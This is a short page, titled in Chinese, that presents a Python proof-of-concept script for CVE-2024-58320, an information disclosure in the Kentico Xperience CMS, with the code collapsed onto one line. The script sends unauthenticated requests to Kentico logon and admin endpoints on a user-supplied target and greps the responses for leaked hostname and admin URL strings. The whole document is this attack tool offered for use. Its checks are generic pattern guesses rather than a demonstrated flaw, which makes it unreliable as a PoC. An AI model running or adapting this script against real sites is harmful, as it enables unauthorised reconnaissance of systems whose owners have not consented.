CVE-2024-58320 Kentico Xperience 身份验证信息泄露漏洞

# CVE-2024-58320 PoC - Kentico Xperience Information Disclosure import requests import sys import json def exploit_cve_2024_58320(target_url): """ PoC for CVE-2024-58320: Kentico Xperience Authentication Information Disclosure This PoC demonstrates how an unauthenticated user can access sensitive administration interface hostname details through a public endpoint. """ # Target endpoints that may expose hostname configuration endpoints = [ "/CMSPages/logon.aspx", "/CMSPages/portal.aspx", "/CMSAPI/logon", "/kentico/admin" ] print(f"[*] Target: {target_url}") print(f"[*] CVE-2024-58320 Information Disclosure PoC\n") for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: # Send request to public endpoint response = requests.get(url, timeout=10, allow_redirects=False) # Check for hostname information in response if response.status_code == 200: content = response.text # Look for hostname patterns hostname_patterns = [ r'hostname[=:]\s*[\"\']([^\"\']+)[\"\']', r'server[=:]\s*[\"\']([^\"\']+)[\"\']', r'domain[=:]\s*[\"\']([^\"\']+)[\"\']', r'admin.*url[=:]\s*[\"\']([^\"\']+)[\"\']' ] print(f"[+] Endpoint: {endpoint}") print(f" Status: {response.status_code}") print(f" Content-Length: {len(content)}") # Extract potential hostname info for pattern in hostname_patterns: import re matches = re.findall(pattern, content, re.IGNORECASE) if matches: print(f" [!] Potential hostname leaked: {matches}") print() except requests.RequestException as e: print(f"[-] Error accessing {endpoint}: {str(e)}") print("[*] Scan complete. Review output for leaked hostname information.") if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2024-58320-poc.py <target_url>") print("Example: python cve-2024-58320-poc.py https://vulnerable-site.com") sys.exit(1) target = sys.argv[1] exploit_cve_2024_58320(target)